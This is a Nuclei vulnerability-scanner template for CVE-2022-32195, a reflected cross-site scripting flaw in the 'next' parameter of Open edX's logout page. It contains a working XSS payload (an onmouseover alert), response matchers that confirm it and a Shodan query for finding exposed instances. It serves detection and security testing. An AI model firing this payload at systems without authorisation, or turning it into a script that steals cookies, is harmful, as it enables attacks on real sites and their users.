nuclei-templates/http/cves/2022/CVE-2022-32195.yaml

54 lines
1.6 KiB
YAML

id: CVE-2022-32195
info:
name: Open edX <2022-06-06 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Open edX before 2022-06-06 contains a reflected cross-site scripting vulnerability via the 'next' parameter in the logout URL.
remediation: |
Apply the latest security patches or updates provided by Open edX to fix the Cross-Site Scripting vulnerability.
reference:
- https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
- https://github.com/edx
- https://nvd.nist.gov/vuln/detail/CVE-2022-32195
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-32195
cwe-id: CWE-79
epss-score: 0.001
epss-percentile: 0.40927
cpe: cpe:2.3:a:edx:open_edx:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: edx
product: open_edx
shodan-query: http.html:"Open edX"
comment: Hover the cursor on the redirect link
tags: cve,cve2022,openedx,xss
http:
- method: GET
path:
- '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<a href="+8"onmouseover="alert(document.domain)">click here to go to'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a0047304502206d621b231869f0c7d3206d62655dbbc94918c4a7be03af011042dda51bd6bb65022100b862340d34d81676e90d5aac38f365e9e2e44df14d0f855f31d082a94e0a5c5b:922c64590222798bb761d5b6d8e72950